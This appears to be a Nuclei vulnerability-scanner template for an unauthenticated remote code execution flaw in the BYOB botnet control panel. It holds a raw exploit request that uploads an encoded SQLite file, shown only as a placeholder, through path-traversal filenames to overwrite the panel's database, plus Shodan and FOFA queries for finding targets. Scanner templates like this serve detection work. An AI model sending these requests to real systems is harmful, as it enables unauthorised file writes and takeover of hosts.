id: malwared-byob-rce

info:
  name: Malwared BYOB - Unauthenticated Remote Code Execution
  author: pdteam
  severity: critical
  description: |
    Malwared BYOB - Unauthenticated RCE allows remote code execution.
  impact: |
    Potential unauthorized access and control of the target system by threat actors.
  remediation: |
    Remove any instances of the Malwared - Build Your Own Botnet tool from the target system and conduct a thorough security audit.
  reference:
    - https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/
    - https://github.com/chebuya/exploits/tree/main/BYOB-RCE
    - https://github.com/malwaredllc/byob
  metadata:
    verified: true
    max-request: 7
    shodan-query: http.favicon.hash:487145192
    fofa-query: icon_hash="487145192"
  tags: rce,malware,byob,botnet,oss,vuln


flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "Build Your Own Botnet"
          - "Post-Exploitation Framework"
          - "malwaredllc/byob"
        internal: true

  - raw:
      - |
        POST /api/file/add HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        data=U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAADAAAAAsAAAAAAAAAAAAAAAUAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAC52iQ0P%2BAAKCD4ADvYPzwyRDscLJQxiCYgK5Ag%[encoded data, 59909 characters]%3D&filename={{url_encode(db_path)}}&type=txt&owner=admin&module=icloud&session=lol

    payloads:
      db_path:
        - /proc/self/cwd/buildyourownbotnet/database.db
        - /proc/self/cwd/../buildyourownbotnet/database.db
        - /proc/self/cwd/../../../../buildyourownbotnet/database.db
        - /proc/self/cwd/instance/database.db
        - /proc/self/cwd/../../../../instance/database.db
        - /proc/self/cwd/../instance/database.db

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "buildyourownbotnet/database.db"
# digest: 4a0a0047304502200526c45790acc3819674dcc7dd3b2cc7a37dc93655a98e819fbe987c59c2635e022100b2313f1b6b9847f007f3f7864db0f1bd5e7acb84012377c8b002fab14a0775f8:922c64590222798bb761d5b6d8e72950